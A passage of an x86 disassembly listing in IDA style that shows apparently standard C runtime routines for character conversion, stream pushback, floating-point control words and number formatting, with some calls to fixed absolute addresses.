jmp short loc_423D56
; ---------------------------------------------------------------------------
loc_423D39: ; CODE XREF: sub_423CEC+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CB50C
push esi
push ebx
nop
call near ptr 2610000h
test eax, eax
jz loc_423E21
push 2
pop eax
loc_423D56: ; CODE XREF: sub_423CEC+4Bj
mov dword_4DBB48, eax
loc_423D5B: ; CODE XREF: sub_423CEC+2Fj
cmp eax, 2
jnz short loc_423D84
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_423D6C
mov eax, dword_4DBA14
loc_423D6C: ; CODE XREF: sub_423CEC+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
nop
call near ptr 2610000h
jmp loc_423E23
; ---------------------------------------------------------------------------
loc_423D84: ; CODE XREF: sub_423CEC+72j
cmp eax, 1
jnz loc_423E21
cmp [ebp+arg_10], ebx
jnz short loc_423D9A
mov eax, dword_4DBA24
mov [ebp+arg_10], eax
loc_423D9A: ; CODE XREF: sub_423CEC+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
nop
call near ptr 2810000h
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_423E21
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41B590
add esp, 0Ch
jmp short loc_423DF0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_423DF0: ; CODE XREF: sub_423CEC+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_423E21
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
nop
call near ptr 2810000h
cmp eax, ebx
jz short loc_423E21
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
nop
call near ptr 2600591h
jmp short loc_423E23
; ---------------------------------------------------------------------------
loc_423E21: ; CODE XREF: sub_423CEC+61j
; sub_423CEC+9Bj ...
xor eax, eax
loc_423E23: ; CODE XREF: sub_423CEC+93j
; sub_423CEC+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_423CEC endp
; =============== S U B R O U T I N E =======================================
sub_423E35 proc near ; CODE XREF: sub_41F58A+61p
; sub_420446+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DCDA0
jb short loc_423E44
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_423E44: ; CODE XREF: sub_423E35+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DCCA0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_423E35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p
; sub_41F69F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_423E67
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E67: ; CODE XREF: sub_423E5B+8j
cmp dword_4DBA14, 0
jnz short loc_423E82
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_423EB4
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E82: ; CODE XREF: sub_423E5B+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43CBE4
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DBA24
call near ptr 280105Fh
nop
test eax, eax
jz short loc_423EB4
cmp [ebp+arg_0], 0
jz short loc_423EC1
loc_423EB4: ; CODE XREF: sub_423E5B+1Ej
; sub_423E5B+51j
mov dword_4DB958, 2Ah
or eax, 0FFFFFFFFh
loc_423EC1: ; CODE XREF: sub_423E5B+57j
pop ebp
retn
sub_423E5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_423EE6
cmp [ebp+arg_8], ebx
jz short loc_423EE6
mov al, [esi]
cmp al, bl
jnz short loc_423EEC
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_423EE6
mov [eax], bx
loc_423EE6: ; CODE XREF: sub_423EC3+Cj
; sub_423EC3+11j ...
xor eax, eax
loc_423EE8: ; CODE XREF: sub_423EC3+42j
; sub_423EC3+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423EEC: ; CODE XREF: sub_423EC3+17j
cmp dword_4DBA14, ebx
jnz short loc_423F07
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_423F02
movzx ax, al
mov [ecx], ax
loc_423F02: ; CODE XREF: sub_423EC3+36j
; sub_423EC3+C0j
push 1
pop eax
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F07: ; CODE XREF: sub_423EC3+2Fj
mov ecx, off_43C9D8
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_423F64
mov eax, dword_43CBE4
cmp eax, 1
jle short loc_423F4B
cmp [ebp+arg_8], eax
jl short loc_423F55
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DBA24
nop
call near ptr 2810000h
test eax, eax
mov eax, dword_43CBE4
jnz short loc_423EE8
loc_423F4B: ; CODE XREF: sub_423EC3+5Cj
cmp [ebp+arg_8], eax
jb short loc_423F55
cmp [esi+1], bl
jnz short loc_423EE8
loc_423F55: ; CODE XREF: sub_423EC3+61j
; sub_423EC3+8Bj ...
mov dword_4DB958, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F64: ; CODE XREF: sub_423EC3+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DBA24
nop
call near ptr 2810000h
test eax, eax
jnz loc_423F02
jmp short loc_423F55
sub_423EC3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_423F90 proc near ; CODE XREF: sub_420510+797p
; sub_420510+7E7p
cmp cl, 40h
jnb short loc_423FAA
cmp cl, 20h
jnb short loc_423FA0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_423FA0: ; CODE XREF: sub_423F90+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_423FAA: ; CODE XREF: sub_423F90+3j
xor eax, eax
xor edx, edx
retn
sub_423F90 endp
; =============== S U B R O U T I N E =======================================
sub_423FAF proc near ; CODE XREF: sub_420F86+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_423FFB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_423FCD
test al, 80h
jz short loc_423FFB
test al, 2
jnz short loc_423FFB
loc_423FCD: ; CODE XREF: sub_423FAF+14j
cmp dword ptr [esi+8], 0
jnz short loc_423FDA
push esi
call sub_4239EF
pop ecx
loc_423FDA: ; CODE XREF: sub_423FAF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_423FEA
cmp dword ptr [esi+4], 0
jnz short loc_423FFB
inc eax
mov [esi], eax
loc_423FEA: ; CODE XREF: sub_423FAF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424001
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424007
inc eax
mov [esi], eax
loc_423FFB: ; CODE XREF: sub_423FAF+9j
; sub_423FAF+18j ...
or eax, 0FFFFFFFFh
loc_423FFE: ; CODE XREF: sub_423FAF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FAF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424007: ; CODE XREF: sub_423FAF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_423FFE
sub_423FAF endp
; =============== S U B R O U T I N E =======================================
sub_42401D proc near ; CODE XREF: sub_421576+52p
xor eax, eax
retn
sub_42401D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424020 proc near ; CODE XREF: sub_424055+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42406B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_4240FD
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424020 endp
; =============== S U B R O U T I N E =======================================
sub_424055 proc near ; CODE XREF: sub_421862+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424020
pop ecx
pop ecx
retn
sub_424055 endp
; =============== S U B R O U T I N E =======================================
sub_42406B proc near ; CODE XREF: sub_424020+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42407C
push 10h
pop eax
loc_42407C: ; CODE XREF: sub_42406B+Cj
test bl, 4
jz short loc_424083
or al, 8
loc_424083: ; CODE XREF: sub_42406B+14j
test bl, 8
jz short loc_42408A
or al, 4
loc_42408A: ; CODE XREF: sub_42406B+1Bj
test bl, 10h
jz short loc_424091
or al, 2
loc_424091: ; CODE XREF: sub_42406B+22j
test bl, 20h
jz short loc_424098
or al, 1
loc_424098: ; CODE XREF: sub_42406B+29j
test bl, 2
jz short loc_4240A2
or eax, 80000h
loc_4240A2: ; CODE XREF: sub_42406B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4240DA
cmp edx, 400h
jz short loc_4240D7
cmp edx, 800h
jz short loc_4240D3
cmp edx, esi
jnz short loc_4240DA
or eax, edi
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D3: ; CODE XREF: sub_42406B+5Ej
or eax, ebp
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D7: ; CODE XREF: sub_42406B+56j
or ah, 1
loc_4240DA: ; CODE XREF: sub_42406B+4Ej
; sub_42406B+62j ...
and ecx, edi
pop esi
jz short loc_4240EA
cmp ecx, ebp
jnz short loc_4240EF
or eax, 10000h
jmp short loc_4240EF
; ---------------------------------------------------------------------------
loc_4240EA: ; CODE XREF: sub_42406B+72j
or eax, 20000h
loc_4240EF: ; CODE XREF: sub_42406B+76j
; sub_42406B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_4240FC
or eax, 40000h
locret_4240FC: ; CODE XREF: sub_42406B+8Aj
retn
sub_42406B endp
; =============== S U B R O U T I N E =======================================
sub_4240FD proc near ; CODE XREF: sub_424020+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42410D
push 1
pop eax
loc_42410D: ; CODE XREF: sub_4240FD+Bj
test bl, 8
jz short loc_424114
or al, 4
loc_424114: ; CODE XREF: sub_4240FD+13j
test bl, 4
jz short loc_42411B
or al, 8
loc_42411B: ; CODE XREF: sub_4240FD+1Aj
test bl, 2
jz short loc_424122
or al, 10h
loc_424122: ; CODE XREF: sub_4240FD+21j
test bl, 1
jz short loc_424129
or al, 20h
loc_424129: ; CODE XREF: sub_4240FD+28j
test ebx, 80000h
jz short loc_424133
or al, 2
loc_424133: ; CODE XREF: sub_4240FD+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424160
cmp ecx, 100h
jz short loc_42415D
cmp ecx, esi
jz short loc_424158
cmp ecx, edx
jnz short loc_424160
or ah, 0Ch
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_424158: ; CODE XREF: sub_4240FD+50j
or ah, 8
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_42415D: ; CODE XREF: sub_4240FD+4Cj
or ah, 4
loc_424160: ; CODE XREF: sub_4240FD+44j
; sub_4240FD+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424176
cmp ecx, 10000h
jnz short loc_424178
or eax, esi
jmp short loc_424178
; ---------------------------------------------------------------------------
loc_424176: ; CODE XREF: sub_4240FD+6Bj
or eax, edx
loc_424178: ; CODE XREF: sub_4240FD+73j
; sub_4240FD+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424185
or ah, 10h
locret_424185: ; CODE XREF: sub_4240FD+83j
retn
sub_4240FD endp
; =============== S U B R O U T I N E =======================================
sub_424186 proc near ; CODE XREF: sub_424225+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4241CB
inc esi
cmp esi, 3
jge short loc_4241C6
lea eax, [eax+esi*4]
loc_4241B8: ; CODE XREF: sub_424186+3Ej
cmp dword ptr [eax], 0
jnz short loc_4241CB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4241B8
loc_4241C6: ; CODE XREF: sub_424186+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4241CB: ; CODE XREF: sub_424186+27j
; sub_424186+35j
xor eax, eax
pop esi
retn
sub_424186 endp
; =============== S U B R O U T I N E =======================================
sub_4241CF proc near ; CODE XREF: sub_424225+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
js short loc_424221
lea edi, [ebx+esi*4]
loc_424208: ; CODE XREF: sub_4241CF+50j
test eax, eax
jz short loc_424221
push edi
push 1
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424208
loc_424221: ; CODE XREF: sub_4241CF+34j
; sub_4241CF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4241CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424225 proc near ; CODE XREF: sub_424380+81p
; sub_424380+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424289
inc ebx
push ebx
push [ebp+arg_0]
call sub_424186
pop ecx
test eax, eax
pop ecx
jnz short loc_424286
push edi
push [ebp+arg_0]
call sub_4241CF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424286: ; CODE XREF: sub_424225+51j
mov eax, [ebp+arg_4]
loc_424289: ; CODE XREF: sub_424225+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_4242A9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_4242A9: ; CODE XREF: sub_424225+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424225 endp
; =============== S U B R O U T I N E =======================================
sub_4242B1 proc near ; CODE XREF: sub_424380+75p
; sub_424380+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_4242BF: ; CODE XREF: sub_4242B1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_4242BF
pop esi
retn
sub_4242B1 endp
; =============== S U B R O U T I N E =======================================
sub_4242CC proc near ; CODE XREF: sub_424380+5Fp
; sub_424380+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_4242CC endp
; =============== S U B R O U T I N E =======================================
sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_4242DE: ; CODE XREF: sub_4242D8+12j
cmp dword ptr [eax], 0
jnz short loc_4242F0
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_4242DE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4242F0: ; CODE XREF: sub_4242D8+9j
xor eax, eax
retn
sub_4242D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4242F3 proc near ; CODE XREF: sub_424380+C0p
; sub_424380+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424329: ; CODE XREF: sub_4242F3+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424329
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_42435B: ; CODE XREF: sub_4242F3+86j
cmp ebx, edi
jl short loc_42436E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424375
; ---------------------------------------------------------------------------
loc_42436E: ; CODE XREF: sub_4242F3+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424375: ; CODE XREF: sub_4242F3+79j
dec ebx
sub ecx, 4
jns short loc_42435B
pop edi
pop esi
pop ebx
leave
retn
sub_4242F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424380 proc near ; CODE XREF: sub_4244EC+Dp
; sub_424502+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_4243ED
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_4242D8
test eax, eax
pop ecx
jnz loc_4244AC
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
loc_4243E5: ; CODE XREF: sub_424380+E4j
push 2
loc_4243E7: ; CODE XREF: sub_424380+110j
pop eax
jmp loc_4244AE
; ---------------------------------------------------------------------------
loc_4243ED: ; CODE XREF: sub_424380+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_4242B1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
add esp, 10h
test eax, eax
jz short loc_42440E
inc ebx
loc_42440E: ; CODE XREF: sub_424380+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424426
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
jmp short loc_424462
; ---------------------------------------------------------------------------
loc_424426: ; CODE XREF: sub_424380+98j
cmp ebx, eax
jg short loc_424469
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242B1
lea eax, [ebp+var_C]
push esi
push eax
call sub_4242F3
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242F3
add esp, 20h
loc_424462: ; CODE XREF: sub_424380+A4j
xor esi, esi
jmp loc_4243E5
; ---------------------------------------------------------------------------
loc_424469: ; CODE XREF: sub_424380+A8j
cmp ebx, [edi]
jl short loc_424495
lea eax, [ebp+var_C]
push eax
call sub_4242CC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_4242F3
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_4243E7
; ---------------------------------------------------------------------------
loc_424495: ; CODE XREF: sub_424380+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_4242F3
pop ecx
pop ecx
loc_4244AC: ; CODE XREF: sub_424380+55j
xor eax, eax
loc_4244AE: ; CODE XREF: sub_424380+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_4244DD
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_4244E7
; ---------------------------------------------------------------------------
loc_4244DD: ; CODE XREF: sub_424380+14Ej
cmp edi, 20h
jnz short loc_4244E7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_4244E7: ; CODE XREF: sub_424380+15Bj
; sub_424380+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424380 endp
; =============== S U B R O U T I N E =======================================
sub_4244EC proc near ; CODE XREF: sub_424518+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D358
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_4244EC endp
; =============== S U B R O U T I N E =======================================
sub_424502 proc near ; CODE XREF: sub_424545+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D370
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_424502 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424518 proc near ; CODE XREF: sub_42199B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4244EC
add esp, 24h
leave
retn
sub_424518 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424545 proc near ; CODE XREF: sub_42199B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424502
add esp, 24h
leave
retn
sub_424545 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424572 proc near ; CODE XREF: sub_4219D9+65p
; sub_421ADD+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_4245AF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424595: ; CODE XREF: sub_424572+38j
mov dl, [ecx]
test dl, dl
jz short loc_4245A1
movsx edx, dl
inc ecx
jmp short loc_4245A4
; ---------------------------------------------------------------------------
loc_4245A1: ; CODE XREF: sub_424572+27j
push 30h
pop edx
loc_4245A4: ; CODE XREF: sub_424572+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424595
mov edx, [ebp+arg_8]
loc_4245AF: ; CODE XREF: sub_424572+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_4245C8
cmp byte ptr [ecx], 35h
jl short loc_4245C8
loc_4245BB: ; CODE XREF: sub_424572+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_4245C6
mov byte ptr [eax], 30h
jmp short loc_4245BB
; ---------------------------------------------------------------------------
loc_4245C6: ; CODE XREF: sub_424572+4Dj
inc byte ptr [eax]
loc_4245C8: ; CODE XREF: sub_424572+42j
; sub_424572+47j
cmp byte ptr [esi], 31h
jnz short loc_4245D2
inc dword ptr [edx+4]
jmp short loc_4245E4
; ---------------------------------------------------------------------------
loc_4245D2: ; CODE XREF: sub_424572+59j
push edi
call sub_41AFE0
inc eax
push eax
push edi
push esi
call sub_41CC90
add esp, 10h
loc_4245E4: ; CODE XREF: sub_424572+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424572 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp
; sub_421ADD+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_42464D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DBB50
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_4256C2
mov dword_4DBB78, eax
add esp, 18h
movsx eax, byte_4DBB52
mov dword_4DBB70, eax
pop edi
movsx eax, word_4DBB50
mov dword_4DBB74, eax
mov dword_4DBB7C, offset dword_4DBB54
mov eax, offset dword_4DBB70
pop esi
leave
retn
sub_4245E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42464D proc near ; CODE XREF: sub_4245E9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_42469B
cmp ebx, edi
jz short loc_424694
lea edi, [ecx+3C00h]
jmp short loc_4246BC
; ---------------------------------------------------------------------------
loc_424694: ; CODE XREF: sub_42464D+3Dj
mov edi, 7FFFh
jmp short loc_4246BC
; ---------------------------------------------------------------------------
loc_42469B: ; CODE XREF: sub_42464D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_4246B3
cmp edx, ebx
jnz short loc_4246B3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_4246FE
; ---------------------------------------------------------------------------
loc_4246B3: ; CODE XREF: sub_42464D+52j
